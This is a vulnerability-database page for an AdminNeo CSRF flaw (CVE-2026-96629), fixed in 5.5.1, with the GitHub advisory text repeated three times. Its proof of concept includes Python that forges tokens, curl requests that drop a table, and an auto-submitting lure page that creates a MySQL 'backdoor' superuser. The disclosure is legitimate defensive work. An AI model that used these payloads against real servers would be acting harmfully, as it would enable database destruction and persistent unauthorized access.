Every CVE Search/ Get API key

CVE-2026-96629

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

6.8 MediumFix available

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() {
	$rand = rand(1, 1e6);
	return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

function verify_token() {
	list($token, $rand) = explode(":", $_POST["token"]);
	return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
      action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
  <input type="hidden" name="token" value="729376:481370">
  <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
  <input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>

Impact

  • Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
  • An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
  • With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
  • The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

What each source reports

GitHub Advisories Score usedGHSA-wm25-49w3-5qrg 6.8

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() {
	$rand = rand(1, 1e6);
	return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

function verify_token() {
	list($token, $rand) = explode(":", $_POST["token"]);
	return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
      action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
  <input type="hidden" name="token" value="729376:481370">
  <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY…
Record
GHSA-wm25-49w3-5qrg
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
Weakness
CWE-330, CWE-352
Updated
2026-11-02
OSVGHSA-wm25-49w3-5qrg 6.8

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() {
	$rand = rand(1, 1e6);
	return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

function verify_token() {
	list($token, $rand) = explode(":", $_POST["token"]);
	return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
      action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
  <input type="hidden" name="token" value="729376:481370">
  <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY…
Record
GHSA-wm25-49w3-5qrg
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
Weakness
CWE-330, CWE-352
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
adminneo-org/adminneo
Packagist
before 5.5.1
5.5.1
adminneo-org/adminneo
Packagist
before 5.5.1, plus listed versions
v4.10.0v4.11.0v4.12.0v4.13.0v4.14.0
Show 45 moreShow less
v4.15.0v4.16.0v4.16.1v4.17.0v4.17.1v4.17.2v4.2.0v4.2.1v4.2.2v4.2.3v4.2.4v4.2.5v4.3.0v4.3.1v4.4.0v4.5.0v4.6.0v4.6.1v4.6.2v4.6.3v4.7.0v4.7.1v4.7.2v4.7.3v4.7.4v4.7.5v4.7.6v4.7.7v4.7.8v4.7.9v4.8.0v4.8.1v4.8.2v4.9.0v4.9.1v4.9.2v4.9.3v4.9.4v5.0.0v5.0.0-rcv5.1.0v5.1.1v5.2.0v5.2.1v5.3.0
5.5.1

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-96629 is a medium vulnerability (CVSS 6.8) in adminneo-org/adminneo, published October 30, 2026. No source lists public exploit code. Fixed in adminneo-org/adminneo 5.5.1.

References

This page doesn't list everything

Left out here: 3 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open